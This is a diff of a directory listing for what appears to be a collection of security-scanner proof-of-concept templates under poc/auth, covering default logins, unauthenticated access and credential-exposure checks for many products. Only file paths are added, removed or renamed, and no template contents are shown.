./poc/auth/disable-user-login-e081053d3461091ab36b623cc2522dea.yaml @@ -1997,6 +2023,7 @@ ./poc/auth/dlink-ac-default-password.yaml ./poc/auth/dlink-cve-2020-9376-dump-credentials.yml ./poc/auth/dlink-default-password.yaml +./poc/auth/dlink-unauth-cgi-script.yaml ./poc/auth/docker-api-unauthorized-rce.yaml ./poc/auth/docker-api-unauthorized-rce.yml ./poc/auth/docker-credentials-exposure.yaml @@ -2024,7 +2051,6 @@ ./poc/auth/druid-default-login-2.yaml ./poc/auth/druid-default-login-7095.yaml ./poc/auth/druid-default-login-7096.yaml -./poc/auth/druid-default-login-7097.yaml ./poc/auth/druid-default-login.yaml ./poc/auth/druid-default-password-1.yaml ./poc/auth/druid-default-password-2.yaml @@ -2051,15 +2077,15 @@ ./poc/auth/drupal_module-super_login-cross-site-scripting.yaml ./poc/auth/drupal_module-token_custom-arbitrary-php-code-execution.yaml ./poc/auth/drupal_module-yubikey-access-bypass.yaml -./poc/auth/dubbo-admin-default-login-7120.yaml +./poc/auth/dubbo-admin-default-login-7121.yaml +./poc/auth/dubbo-admin-default-login.yaml ./poc/auth/dubbo-admin-default-password.yaml ./poc/auth/dubbo-admin-default-password.yml ./poc/auth/duffel-api-token.yaml ./poc/auth/dvwa-default-login-7126.yaml ./poc/auth/dvwa-default-login-7127.yaml ./poc/auth/dvwa-default-login-7128.yaml -./poc/auth/dvwa-default-login-7129.yaml -./poc/auth/dvwa-headless-automatic-login-7131.yaml +./poc/auth/dvwa-headless-automatic-login-7130.yaml ./poc/auth/dvwa-headless-automatic-login-7132.yaml ./poc/auth/dvwa-headless-automatic-login-7133.yaml ./poc/auth/dvwa-headless-automatic-login.yaml @@ -2125,12 +2151,15 @@ ./poc/auth/electric-studio-client-login-f80c5406ebadb06c127dd29569b85330.yaml ./poc/auth/electric-studio-client-login.yaml ./poc/auth/email-verification-token-bypass.yaml +./poc/auth/emcecom-default-login-7211.yaml ./poc/auth/emcecom-default-login-7212.yaml ./poc/auth/emcecom-default-login-7213.yaml ./poc/auth/emcecom-default-login-7214.yaml +./poc/auth/emqx-default-login-7221.yaml ./poc/auth/emqx-default-login-7222.yaml ./poc/auth/ems-login-panel-7223.yaml ./poc/auth/ems-login-panel-7224.yaml +./poc/auth/ems-login-panel-7225.yaml ./poc/auth/ems-login-panel.yaml ./poc/auth/enable-s3-bucketkeys.yaml ./poc/auth/enable-secret-for-password-user-and-.yaml @@ -2139,7 +2168,6 @@ ./poc/auth/epmp-login-7229.yaml ./poc/auth/epmp-login-7230.yaml ./poc/auth/epmp-login-7231.yaml -./poc/auth/epmp-login-7232.yaml ./poc/auth/epson-unauthorized-access-detect.yaml ./poc/auth/erident-custom-login-and-dashboard-0e2a68c6bc5c7e524706a5b5493bef90.yaml ./poc/auth/erident-custom-login-and-dashboard-65d615ac22cc89343ec17e71c91783a6.yaml @@ -2206,19 +2234,20 @@ ./poc/auth/fanwei-eweaver-pluginviewservlet-unauth.yaml ./poc/auth/fanwei-login-bypass.yaml ./poc/auth/fanwei-unauth.yaml +./poc/auth/faraday-login-7393.yaml ./poc/auth/faraday-login-7394.yaml ./poc/auth/faraday-login-7395.yaml -./poc/auth/faraday-login-7396.yaml +./poc/auth/faraday-login-7397.yaml ./poc/auth/faraday-login.yaml ./poc/auth/fastly-api-token.yaml -./poc/auth/fatpipe-auth-bypass-7431.yaml ./poc/auth/fatpipe-auth-bypass-7432.yaml +./poc/auth/fatpipe-auth-bypass.yaml ./poc/auth/fb-access-token.yaml ./poc/auth/fcm-api-key.yaml ./poc/auth/fcm-server-key-7450.yaml ./poc/auth/fcm-server-key-7451.yaml ./poc/auth/fcm-server-key-7452.yaml -./poc/auth/fcm-server-key-7453.yaml +./poc/auth/fcm-server-key-7454.yaml ./poc/auth/fcm-server-key.yaml ./poc/auth/feather-login-page-0bc47f0828578a01035f4ac0c01bf787.yaml ./poc/auth/feather-login-page-291153fe25b5ab0269ede43db1b50194.yaml @@ -2248,6 +2277,7 @@ ./poc/auth/flir-default-login-7513.yaml ./poc/auth/flir-default-login-7515.yaml ./poc/auth/flir-default-login-7516.yaml +./poc/auth/flir-default-login.yaml ./poc/auth/flir-login.yaml ./poc/auth/fortiauthenticator-detect.yaml ./poc/auth/fortitester-login-panel.yaml @@ -2258,12 +2288,15 @@ ./poc/auth/frp-default-login-7556.yaml ./poc/auth/frp-default-login-7557.yaml ./poc/auth/frp-default-login-7558.yaml +./poc/auth/frp-default-login-7559.yaml +./poc/auth/frp-default-login.yaml ./poc/auth/frp-unauthenticated.yaml ./poc/auth/ftp-anonymous-login.yaml ./poc/auth/ftp-credentials-exposure-7567.yaml ./poc/auth/ftp-credentials-exposure.yaml ./poc/auth/ftp-default-credentials.yaml ./poc/auth/ftp-default-creds.yaml +./poc/auth/ftp-weak-credentials-7569.yaml ./poc/auth/ftp-weak-credentials-7570.yaml ./poc/auth/ftp-weak-credentials.yaml ./poc/auth/fuelcms-default-login-7571.yaml @@ -2293,6 +2326,7 @@ ./poc/auth/general-tokens-7585.yaml ./poc/auth/general-tokens-7586.yaml ./poc/auth/general-tokens.yaml +./poc/auth/genieacs-default-jwt.yaml ./poc/auth/geoserver-default-login-7593.yaml ./poc/auth/geoserver-default-login-7594.yaml ./poc/auth/geoserver-login-panel.yaml @@ -2300,6 +2334,7 @@ ./poc/auth/git-credentials-7644.yaml ./poc/auth/git-credentials-disclosure-7639.yaml ./poc/auth/git-credentials-disclosure-7640.yaml +./poc/auth/git-credentials-disclosure-7641.yaml ./poc/auth/git-credentials-disclosure-7642.yaml ./poc/auth/git-credentials.yaml ./poc/auth/gitea-login-7646.yaml @@ -2318,6 +2353,7 @@ ./poc/auth/gitlab-pipeline-triggertoken.yaml ./poc/auth/gitlab-public-signup-7681.yaml ./poc/auth/gitlab-public-signup-7682.yaml +./poc/auth/gitlab-public-signup-7683.yaml ./poc/auth/gitlab-public-signup-7684.yaml ./poc/auth/gitlab-public-signup.yaml ./poc/auth/gitlab-runner-regtoken.yaml @@ -2327,10 +2363,10 @@ ./poc/auth/gitlab-weak-login-2.yaml ./poc/auth/gitlab-weak-login-3.yaml ./poc/auth/gitlab-weak-login-4.yaml +./poc/auth/gitlab-weak-login-7704.yaml ./poc/auth/gitlab-weak-login-7705.yaml ./poc/auth/gitlab-weak-login-7706.yaml ./poc/auth/gitlab-weak-login-7707.yaml -./poc/auth/gitlab-weak-login.yaml ./poc/auth/gitter-token.yaml ./poc/auth/gloo-unauth-7722.yaml ./poc/auth/gloo-unauth-7724.yaml @@ -2339,18 +2375,18 @@ ./poc/auth/glpi-authentication-7727.yaml ./poc/auth/glpi-authentication-7728.yaml ./poc/auth/glpi-authentication-7729.yaml +./poc/auth/glpi-authentication-7730.yaml ./poc/auth/glpi-authentication.yaml ./poc/auth/glpi-default-credential.yaml ./poc/auth/glpi-default-login-7731.yaml -./poc/auth/glpi-default-login-7732.yaml ./poc/auth/glpi-default-login-7733.yaml -./poc/auth/glpi-default-login.yaml ./poc/auth/glpi-login-1.yaml ./poc/auth/glpi-login-2.yaml ./poc/auth/glpi-login-7735.yaml ./poc/auth/glpi-login-7736.yaml ./poc/auth/glpi-login.yaml ./poc/auth/gmail-api-client-secrets-7740.yaml +./poc/auth/gmail-api-client-secrets-7741.yaml ./poc/auth/gmail-api-client-secrets.yaml ./poc/auth/goanywhere-mft-login.yaml ./poc/auth/gocd-encryption-key-7750.yaml @@ -2366,6 +2402,7 @@ ./poc/auth/gogs-login.yaml ./poc/auth/google-api-key-7767.yaml ./poc/auth/google-api-key-7768.yaml +./poc/auth/google-api-key-7769.yaml ./poc/auth/google-api-key-7770.yaml ./poc/auth/google-api-key.yaml ./poc/auth/google-api-keys.yaml @@ -2383,7 +2420,6 @@ ./poc/auth/google-earth-dlogin-7780.yaml ./poc/auth/google-earth-dlogin-7781.yaml ./poc/auth/google-earth-dlogin-7782.yaml -./poc/auth/google-earth-dlogin.yaml ./poc/auth/google-earthenterprise-weak-password.yaml ./poc/auth/google-oauth-clientsecret.yaml ./poc/auth/google-secrets.yaml @@ -2396,6 +2432,7 @@ ./poc/auth/google-seo-author-snippets.yaml ./poc/auth/gophish-default-login-7792.yaml ./poc/auth/gophish-default-login-7793.yaml +./poc/auth/gophish-default-login-7794.yaml ./poc/auth/gophish-login-7795.yaml ./poc/auth/gophish-login.yaml ./poc/auth/grafana-api-key-exposure.yaml @@ -2415,15 +2452,16 @@ ./poc/auth/grafana-login.yml ./poc/auth/grafana-public-signup-7814.yaml ./poc/auth/grafana-public-signup-7815.yaml -./poc/auth/grafana-public-signup-7817.yaml +./poc/auth/grafana-public-signup-7816.yaml ./poc/auth/grafana-public-signup.yaml ./poc/auth/graphite-browser-default-credential.yaml ./poc/auth/grav-register-admin.yaml ./poc/auth/gryphon-login.yaml +./poc/auth/gt-ac2900-login.yaml ./poc/auth/guacamole-default-login-7858.yaml ./poc/auth/guacamole-default-login-7859.yaml ./poc/auth/guacamole-default-login-7860.yaml -./poc/auth/guacamole-default-login-7861.yaml +./poc/auth/guacamole-default-login.yaml ./poc/auth/guest-author-25a9f786708949ed3cefc36430f46236.yaml ./poc/auth/guest-author-4d34c897b6528aec62cddbdcf5112296.yaml ./poc/auth/guest-author-c0c2f209dbd5aee2deb00a2487f98104.yaml @@ -2465,8 +2503,8 @@ ./poc/auth/hikvision-intercom-service-default-password.yaml ./poc/auth/hikvision-intercom-service-default-password.yml ./poc/auth/hikvision-unauthenticated-rce-cve-2021-36260.yml +./poc/auth/hivemanager-login-panel-7963.yaml ./poc/auth/hivemanager-login-panel-7964.yaml -./poc/auth/hivemanager-login-panel-7965.yaml ./poc/auth/hivemanager-login-panel-7966.yaml ./poc/auth/hivemanager-login-panel.yaml ./poc/auth/homeworks-illumination-web-keypad.yaml @@ -2489,11 +2527,12 @@ ./poc/auth/hp-ilo-serial-key-disclosure-8022.yaml ./poc/auth/hp-ilo-serial-key-disclosure-8024.yaml ./poc/auth/hp-ilo-serial-key-disclosure-8025.yaml -./poc/auth/hp-switch-default-login-8036.yaml +./poc/auth/hp-switch-default-login-8035.yaml ./poc/auth/hp-switch-default-login-8037.yaml ./poc/auth/hp-switch-default-login-8038.yaml ./poc/auth/hpe-system-management-login-8015.yaml ./poc/auth/hpe-system-management-login-8016.yaml +./poc/auth/hpe-system-management-login-8017.yaml ./poc/auth/hpe-system-management-login.yaml ./poc/auth/hrsale-unauthenticated-lfi-8039.yaml ./poc/auth/hrsale-unauthenticated-lfi-8040.yaml @@ -2509,6 +2548,7 @@ ./poc/auth/http-etcd-unauthenticated-api-data-leak.yaml ./poc/auth/http-username-password.yaml ./poc/auth/httponly-cookie-detect.yaml +./poc/auth/huawei-HG532e-default-login.yaml ./poc/auth/huawei-HG532e-default-router-login.yaml ./poc/auth/huawei-auth-http-server-fileread.yaml ./poc/auth/huawei-auth-server.yaml @@ -2516,15 +2556,16 @@ ./poc/auth/huawei-dg8045-home-gateway-password-leakage.yaml ./poc/auth/huawei-hg532e-default-router-login-8062.yaml ./poc/auth/huawei-hg532e-default-router-login-8063.yaml -./poc/auth/huawei-hg532e-default-router-login-8064.yaml ./poc/auth/huawei-router-auth-bypass-8073.yaml ./poc/auth/huawei-router-auth-bypass-8074.yaml ./poc/auth/huawei-router-auth-bypass-8075.yaml -./poc/auth/huawei-router-auth-bypass-8076.yaml ./poc/auth/hue-default-credential-8080.yaml ./poc/auth/hue-default-credential-8081.yaml ./poc/auth/hue-login-panel.yaml +./poc/auth/iam-db-auth.yaml +./poc/auth/iam-key-rotation-90days.yaml ./poc/auth/iam-password-policy.yaml +./poc/auth/iam-ssh-keys-rotation.yaml ./poc/auth/ibm-app-connect-login.yaml ./poc/auth/ibm-dcbc-default-login.yaml ./poc/auth/ibm-dcec-default-login.yaml @@ -2532,11 +2573,11 @@ ./poc/auth/ibm-hmc-default-login.yaml ./poc/auth/ibm-maximo-login.yaml ./poc/auth/ibm-mqseries-default-login-8106.yaml +./poc/auth/ibm-mqseries-default-login-8107.yaml ./poc/auth/ibm-mqseries-default-login-8108.yaml -./poc/auth/ibm-mqseries-default-login.yaml ./poc/auth/ibm-note-login-1.yaml ./poc/auth/ibm-note-login-2.yaml -./poc/auth/ibm-note-login-8111.yaml +./poc/auth/ibm-note-login-8110.yaml ./poc/auth/ibm-note-login-8112.yaml ./poc/auth/ibm-note-login.yaml ./poc/auth/ibm-signup-exposure-8119.yaml @@ -2548,27 +2589,27 @@ ./poc/auth/icc-pro-login.yaml ./poc/auth/icinga-web-login-8134.yaml ./poc/auth/icinga-web-login-8135.yaml -./poc/auth/icinga-web-login-8136.yaml ./poc/auth/icinga-web-login-8137.yaml ./poc/auth/icinga-web-login.yaml ./poc/auth/ictprotege-login-panel.yaml ./poc/auth/idemia-biometrics-default-credentials.yaml +./poc/auth/idemia-biometrics-default-login-8138.yaml ./poc/auth/idemia-biometrics-default-login-8139.yaml ./poc/auth/idemia-biometrics-default-login-8140.yaml ./poc/auth/idemia-biometrics-default-login-8141.yaml ./poc/auth/ikuai-login-panel.yaml +./poc/auth/imgproxy-unauth.yaml ./poc/auth/imm-default-login.yaml ./poc/auth/influxdb-unauth.yaml ./poc/auth/influxdb-unauth.yml ./poc/auth/inspur-clusterengine-default-login-8162.yaml -./poc/auth/inspur-clusterengine-default-login.yaml +./poc/auth/intelbras-dvr-unauth.yaml ./poc/auth/intelbras-login-8164.yaml ./poc/auth/intelbras-login.yaml ./poc/auth/intelliflash-login-panel.yaml ./poc/auth/iptime-default-login-8192.yaml ./poc/auth/iptime-default-login-8193.yaml ./poc/auth/iptime-default-login-8194.yaml -./poc/auth/iptime-default-login.yaml ./poc/auth/issabel-login.yaml ./poc/auth/iubenda-cookie-law-solution-0f838161174c3a1452a42342cb556b62.yaml ./poc/auth/iubenda-cookie-law-solution-4353c7e138ff4cafc852aa03c1df2812.yaml @@ -2589,45 +2630,44 @@ ./poc/auth/jenkins-credentials-disclosure.yml ./poc/auth/jenkins-default-login.yaml ./poc/auth/jenkins-default-pwd.yaml -./poc/auth/jenkins-login-8277.yaml ./poc/auth/jenkins-login-8278.yaml ./poc/auth/jenkins-login-8279.yaml ./poc/auth/jenkins-login-8280.yaml +./poc/auth/jenkins-login-detection.yaml ./poc/auth/jenkins-login.yaml ./poc/auth/jenkins-token.yaml ./poc/auth/jenkins-unauthorized-access.yaml ./poc/auth/jenkins-unauthorized-access.yml ./poc/auth/jenkins-weak-password.yaml ./poc/auth/jfrog-login.yaml -./poc/auth/jfrog-unauth-build-exposed-8299.yaml ./poc/auth/jfrog-unauth-build-exposed-8300.yaml ./poc/auth/jfrog-unauth-build-exposed-8301.yaml +./poc/auth/jfrog-unauth-build-exposed-8302.yaml ./poc/auth/jfrog-unauth-build-exposed.yaml ./poc/auth/jfrog-unauth-panel.yaml ./poc/auth/jinher-oa-c6-default-password.yaml ./poc/auth/jinher-oa-c6-default-password.yml +./poc/auth/jinher-oa-default-login-8311.yaml ./poc/auth/jinher-oa-default-login-8312.yaml -./poc/auth/jinher-oa-default-login.yaml ./poc/auth/jira-login-default.yaml -./poc/auth/jira-service-desk-signup-8317.yaml ./poc/auth/jira-service-desk-signup-8318.yaml ./poc/auth/jira-service-desk-signup-8319.yaml ./poc/auth/jira-service-desk-signup-8320.yaml +./poc/auth/jira-service-desk-signup-8321.yaml ./poc/auth/jira-service-desk-signup.yaml ./poc/auth/jira-unauthenticated-adminprojects-8322.yaml ./poc/auth/jira-unauthenticated-dashboards-8323.yaml -./poc/auth/jira-unauthenticated-dashboards-8324.yaml ./poc/auth/jira-unauthenticated-dashboards-8325.yaml +./poc/auth/jira-unauthenticated-dashboards-8326.yaml ./poc/auth/jira-unauthenticated-dashboards-8327.yaml ./poc/auth/jira-unauthenticated-installed-gadgets-8328.yaml ./poc/auth/jira-unauthenticated-installed-gadgets-8329.yaml -./poc/auth/jira-unauthenticated-installed-gadgets-8330.yaml +./poc/auth/jira-unauthenticated-popular-filters-8331.yaml ./poc/auth/jira-unauthenticated-popular-filters.yaml ./poc/auth/jira-unauthenticated-projectcategories-8333.yaml ./poc/auth/jira-unauthenticated-projectcategories-8334.yaml -./poc/auth/jira-unauthenticated-projectcategories.yaml -./poc/auth/jira-unauthenticated-projects-8335.yaml ./poc/auth/jira-unauthenticated-projects-8336.yaml +./poc/auth/jira-unauthenticated-projects.yaml ./poc/auth/jira-unauthenticated-resolutions-8337.yaml ./poc/auth/jira-unauthenticated-screens-8339.yaml ./poc/auth/jira-unauthenticated-screens.yaml @@ -2637,7 +2677,6 @@ ./poc/auth/jmx-default-login-8354.yaml ./poc/auth/jmx-default-login-8355.yaml ./poc/auth/jmx-default-login-8356.yaml -./poc/auth/jmx-default-login.yaml ./poc/auth/jmx-default-password.yaml ./poc/auth/jolokia-tomcat-creds-leak.yaml ./poc/auth/jolokia-unauthenticated-lfi-8364.yaml @@ -2655,20 +2694,20 @@ ./poc/auth/jupyter-notebook-unauthorized-access.yaml ./poc/auth/jupyter-notebook-unauthorized-access.yml ./poc/auth/jupyterhub-default-login-8399.yaml -./poc/auth/jupyterhub-default-login-8400.yaml ./poc/auth/jupyterhub-default-login-8401.yaml +./poc/auth/jupyterhub-default-login.yaml ./poc/auth/jwt-auth-095adf04b2058ec616033a7aa2b24d07.yaml ./poc/auth/jwt-auth.yaml ./poc/auth/jwt-detection.yaml +./poc/auth/jwt-token-8408.yaml ./poc/auth/jwt-token-8409.yaml -./poc/auth/jwt-token-8410.yaml -./poc/auth/jwt-token.yaml ./poc/auth/k8s-apiserver-unauthorized.yaml ./poc/auth/k8s-etcd-v3-unauthorized.yaml +./poc/auth/kafka-center-default-login-8415.yaml ./poc/auth/kafka-center-default-login-8416.yaml ./poc/auth/kafka-center-default-login-8417.yaml ./poc/auth/kafka-center-default-password.yaml -./poc/auth/kafka-center-login-8418.yaml +./poc/auth/kafka-center-login-8419.yaml ./poc/auth/kafka-center-login.yaml ./poc/auth/kafka-manager-unauth.yml ./poc/auth/kakao-login-phish.yaml @@ -2678,18 +2717,19 @@ ./poc/auth/keenetic-web-login-8442.yaml ./poc/auth/keenetic-web-login-8443.yaml ./poc/auth/keenetic-web-login.yaml -./poc/auth/kenesto-login-8445.yaml +./poc/auth/kenesto-login-8444.yaml ./poc/auth/kenesto-login.yaml +./poc/auth/kentico-login-8446.yaml ./poc/auth/kentico-login-8447.yaml ./poc/auth/kentico-login.yaml ./poc/auth/key-cloak-admin-panel-2.yaml +./poc/auth/key-cloak-admin-panel-8468.yaml ./poc/auth/key-cloak-admin-panel-8469.yaml -./poc/auth/key-cloak-admin-panel-8470.yaml ./poc/auth/key-cloak-admin-panel.yaml ./poc/auth/keybase-phish.yaml ./poc/auth/keycloak-admin-panel.yaml ./poc/auth/keycloak-json-8471.yaml -./poc/auth/keycloak-json-8473.yaml +./poc/auth/keycloak-json-8472.yaml ./poc/auth/keycloak-json-8474.yaml ./poc/auth/keycloak-open-redirect.yaml ./poc/auth/keycloak-openid-config-1.yaml @@ -2700,8 +2740,8 @@ ./poc/auth/keycloak-workflow.yaml ./poc/auth/keycloak-xss-8478.yaml ./poc/auth/keycloak-xss-8479.yaml +./poc/auth/keycloak-xss-8480.yaml ./poc/auth/keycloak-xss-8481.yaml -./poc/auth/keycloak-xss-8482.yaml ./poc/auth/keycloak-xss.yaml ./poc/auth/keyfocus-webserver.yaml ./poc/auth/keyring-2052be661c7ede8e85a42c91b2ffd75c.yaml @@ -2723,7 +2763,6 @@ ./poc/auth/kingsoft-v8-default-password.yaml ./poc/auth/kingsoft-v8-default-password.yml ./poc/auth/kiwitcms-login-8496.yaml -./poc/auth/kiwitcms-login-8497.yaml ./poc/auth/kiwitcms-login.yaml ./poc/auth/knr-author-list-widget-8be38009c2b17ae1122861229dce91c1.yaml ./poc/auth/knr-author-list-widget-ae0eec4d1e798124605d3b7bb5ba68ee.yaml @@ -2736,12 +2775,12 @@ ./poc/auth/konga-default-jwt-key.yaml ./poc/auth/kpcms-socket-login-info-disclosure.yaml ./poc/auth/kube-api-secrets-8511.yaml -./poc/auth/kube-api-secrets.yaml +./poc/auth/kube-api-secrets-8512.yaml ./poc/auth/kubeflow-dashboard-unauth-8515.yaml ./poc/auth/kubeflow-dashboard-unauth-8517.yaml ./poc/auth/kubeflow-dashboard-unauth.yaml ./poc/auth/kubernetes-etcd-keys.yaml -./poc/auth/kubernetes-unauth(1).yaml +./poc/auth/kubernetes-unauth.yaml ./poc/auth/kubernetes-unauth.yml ./poc/auth/kyan-credential-exposure-8554.yaml ./poc/auth/kyan-credential-exposure.yaml @@ -2938,16 +2977,16 @@ ./poc/auth/loqate-api-key.yaml ./poc/auth/lucee-login-1.yaml ./poc/auth/lucee-login-2.yaml -./poc/auth/lucee-login-8663.yaml +./poc/auth/lucee-login-8662.yaml ./poc/auth/lucee-login-8664.yaml ./poc/auth/lucee-login-8665.yaml ./poc/auth/lucee-login.yaml ./poc/auth/luci-login-detection-8671.yaml ./poc/auth/luci-login-detection.yaml ./poc/auth/lutron-iot-default-login-8674.yaml +./poc/auth/lutron-iot-default-login-8675.yaml ./poc/auth/lutron-iot-default-login-8676.yaml ./poc/auth/lutron-iot-default-login-8677.yaml -./poc/auth/lutron-iot-default-login-8678.yaml ./poc/auth/lutron-iot-default-login.yaml ./poc/auth/lws-hide-login-4a0fdd3939bffa759435178b943a6005.yaml ./poc/auth/lws-hide-login-7028a7a909c306df4421bd71aeeefb14.yaml @@ -2981,8 +3020,8 @@ ./poc/auth/matomo-login-portal.yaml ./poc/auth/meks-smart-author-widget-d7cf08d050d4d9c295d6307e65c1ae52.yaml ./poc/auth/meks-smart-author-widget.yaml +./poc/auth/meshcentral-login-8801.yaml ./poc/auth/meshcentral-login-8802.yaml -./poc/auth/meshcentral-login-8803.yaml ./poc/auth/meshcentral-login.yaml ./poc/auth/metersphere-login.yaml ./poc/auth/micro-focus-ucmdb-default-credentials-8843.yaml @@ -2994,6 +3033,7 @@ ./poc/auth/minio-default-login(1).yaml ./poc/auth/minio-default-login-1.yaml ./poc/auth/minio-default-login-2.yaml +./poc/auth/minio-default-login-8887.yaml ./poc/auth/minio-default-login-8888.yaml ./poc/auth/minio-default-login-8889.yaml ./poc/auth/minio-default-password-1.yaml @@ -3067,6 +3107,7 @@ ./poc/auth/miniorange-oauth-20-server.yaml ./poc/auth/missing-authorization-simply-gallery-block.yaml ./poc/auth/mkey.yaml +./poc/auth/mlflow-unauth.yaml ./poc/auth/mobile-login-woocommerce-23d0bf81c74275c3e55e25a6c8aa8e5b.yaml ./poc/auth/mobile-login-woocommerce-71c68dc9d2433d718771a35db7cc14f9.yaml ./poc/auth/mobile-login-woocommerce-776ff600825d9dc7d0f61014766c27a4.yaml @@ -3081,6 +3122,7 @@ ./poc/auth/mobileiron-login-8907.yaml ./poc/auth/mobileiron-login.yaml ./poc/auth/mofi4500-default-login-8912.yaml +./poc/auth/mofi4500-default-login-8913.yaml ./poc/auth/mofi4500-default-login-8914.yaml ./poc/auth/mofi4500-default-password.yaml ./poc/auth/molongui-authorship-17aefd41c935f45a0f54b2519e8c47a9.yaml @@ -3091,9 +3133,9 @@ ./poc/auth/molongui-authorship-e8b0088ee9ffce961a1975e3644882d0.yaml ./poc/auth/molongui-authorship.yaml ./poc/auth/mongodb-unauth-8925.yaml -./poc/auth/mongodb-unauth-8926.yaml ./poc/auth/mongodb-unauth-8927.yaml ./poc/auth/mongodb-unauth-8928.yaml +./poc/auth/mongodb-unauth.yaml ./poc/auth/moodle-auth-xss.yaml ./poc/auth/movable-type-login-1.yaml ./poc/auth/movable-type-login-2.yaml @@ -3120,8 +3162,8 @@ ./poc/auth/mycred-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/auth/mycred-plugin.yaml ./poc/auth/mycred.yaml +./poc/auth/mysql-default-login.yaml ./poc/auth/mysql-native-cred-bruteforce.yaml -./poc/auth/mysql-native-password-8980.yaml ./poc/auth/mysql-native-password-8981.yaml ./poc/auth/mysql-native-password.yaml ./poc/auth/nacos-bypass-authentication.yaml @@ -3138,8 +3180,6 @@ ./poc/auth/nagios-default-login-8991.yaml ./poc/auth/nagios-default-login-8992.yaml ./poc/auth/nagios-default-login-8993.yaml -./poc/auth/nagios-default-login-8994.yaml -./poc/auth/nagios-default-login.yaml ./poc/auth/naver-login-phish.yaml ./poc/auth/netauth.yaml ./poc/auth/netdata-unauth.yaml @@ -3156,7 +3196,6 @@ ./poc/auth/netscalar-aaa-login.yaml ./poc/auth/netscaler-aaa-login-9051.yaml ./poc/auth/netscaler-aaa-login.yaml -./poc/auth/netsus-default-login-9058.yaml ./poc/auth/netsus-default-login-9059.yaml ./poc/auth/netsus-default-login-9060.yaml ./poc/auth/netsus-server-login-9062.yaml @@ -3170,6 +3209,7 @@ ./poc/auth/newrelic-synthetics-location-key-9074.yaml ./poc/auth/nexus-default-login-9086.yaml ./poc/auth/nexus-default-login-9087.yaml +./poc/auth/nexus-default-login-9088.yaml ./poc/auth/nexus-default-login-9089.yaml ./poc/auth/nexus-default-password-9091.yaml ./poc/auth/nexus-default-password.yaml @@ -3182,8 +3222,8 @@ ./poc/auth/nps-auth-key-unauthorized-access.yaml ./poc/auth/nps-default-login-9142.yaml ./poc/auth/nps-default-login-9143.yaml +./poc/auth/nps-default-login-9144.yaml ./poc/auth/nps-default-login-9145.yaml -./poc/auth/nps-default-login.yaml ./poc/auth/nps-default-password-9147.yaml ./poc/auth/nps-default-password.yaml ./poc/auth/nps-default-password.yml @@ -3200,7 +3240,6 @@ ./poc/auth/nuuno-network-login-9161.yaml ./poc/auth/nuuno-network-login-9163.yaml ./poc/auth/nuuno-network-login-9164.yaml -./poc/auth/nuuno-network-login.yaml ./poc/auth/o2-default-password.yaml ./poc/auth/oauth-access-key-9185.yaml ./poc/auth/oauth-access-key-9186.yaml @@ -3221,6 +3260,7 @@ ./poc/auth/oauth2-detect-9180.yaml ./poc/auth/oauth2-detect-9182.yaml ./poc/auth/oauth2-detect-9183.yaml +./poc/auth/oauth2-detect.yaml ./poc/auth/oauth2-provider-2ae833691d89595113a94c5ad9ff28e0.yaml ./poc/auth/oauth2-provider-2c6ee8115f727f547f6e9f4733759534.yaml ./poc/auth/oauth2-provider-6202620e15a9b6f83f1b90c151c6afd5.yaml @@ -3238,7 +3278,7 @@ ./poc/auth/oauth2-server.yaml ./poc/auth/obf_token_smuggling.yml ./poc/auth/ocs-inventory-login.yaml -./poc/auth/octobercms-default-login-9192.yaml +./poc/auth/octobercms-default-login-9193.yaml ./poc/auth/octobercms-default-login.yaml ./poc/auth/octoprint-login-1.yaml ./poc/auth/octoprint-login-2.yaml @@ -3293,14 +3333,15 @@ ./poc/auth/onlyoffice-login-panel.yaml ./poc/auth/open-stack-dashboard-login-1.yaml ./poc/auth/open-stack-dashboard-login-2.yaml -./poc/auth/open-stack-dashboard-login-9321.yaml ./poc/auth/open-stack-dashboard-login-9322.yaml ./poc/auth/open-stack-dashboard-login-9323.yaml +./poc/auth/open-stack-dashboard-login-9324.yaml ./poc/auth/open-stack-dashboard-login.yaml ./poc/auth/openai-key.yaml -./poc/auth/openbmcs-secret-disclosure-9260.yaml +./poc/auth/openbmcs-secret-disclosure.yaml ./poc/auth/openemr-default-login-9269.yaml ./poc/auth/openemr-default-login-9270.yaml +./poc/auth/openemr-default-login.yaml ./poc/auth/openerp-default-password.yaml ./poc/auth/openfire-credentials-exposure.yaml ./poc/auth/opengear-login.yaml @@ -3308,11 +3349,11 @@ ./poc/auth/openvz-web-login.yaml ./poc/auth/openwrt-default-login-9332.yaml ./poc/auth/openwrt-default-login.yaml -./poc/auth/openwrt-login-9333.yaml ./poc/auth/openwrt-login.yaml ./poc/auth/oracle-bi-default-credentials.yaml ./poc/auth/oracle-business-intelligence-password.yaml ./poc/auth/oracle-ebs-credentials-9364.yaml +./poc/auth/oracle-ebs-credentials-9365.yaml ./poc/auth/oracle-ebs-credentials-9366.yaml ./poc/auth/oracle-ebs-credentials-disclosure-9363.yaml ./poc/auth/oracle-ebs-credentials-disclosure.yaml @@ -3324,19 +3365,21 @@ ./poc/auth/panabit-default-login-9437.yaml ./poc/auth/panabit-default-login-9438.yaml ./poc/auth/panabit-default-login-9439.yaml -./poc/auth/panabit-default-login-9440.yaml ./poc/auth/panabit-default-password-9441.yaml ./poc/auth/panabit-default-password-9442.yaml ./poc/auth/panabit-default-password.yaml ./poc/auth/panabit-gateway-default-password.yaml ./poc/auth/panabit-gateway-default-password.yml ./poc/auth/panabit-ixcache-default-login-9443.yaml +./poc/auth/panabit-ixcache-default-login.yaml ./poc/auth/panabit-ixcache-default-password.yaml ./poc/auth/panabit-ixcache-default-password.yml ./poc/auth/panos-default-credentials.yaml ./poc/auth/panos-default-login-9454.yaml ./poc/auth/panos-default-login-9455.yaml ./poc/auth/panos-default-login-9456.yaml +./poc/auth/panos-default-login-9457.yaml +./poc/auth/panos-default-login.yaml ./poc/auth/papercut-missing-auth.yaml ./poc/auth/password-policy-not-set.yaml ./poc/auth/password-policy.yaml @@ -3365,6 +3408,7 @@ ./poc/auth/pentaho-default-login-9478.yaml ./poc/auth/pentaho-default-login-9479.yaml ./poc/auth/pentaho-default-login-9480.yaml +./poc/auth/pentaho-default-login.yaml ./poc/auth/peoplenet-ikey.yaml ./poc/auth/peoplesoft-default-login.yaml ./poc/auth/peters-login-redirect-099f67628707b3f385b479015262ac32.yaml @@ -3372,10 +3416,12 @@ ./poc/auth/peters-login-redirect-daa346b4c4a61a72e3f4108905059906.yaml ./poc/auth/peters-login-redirect.yaml ./poc/auth/pfsense-login.yaml +./poc/auth/pgsql-empty-password.yaml +./poc/auth/pgsql-list-password-hashes.yaml ./poc/auth/phabricator-login.yaml 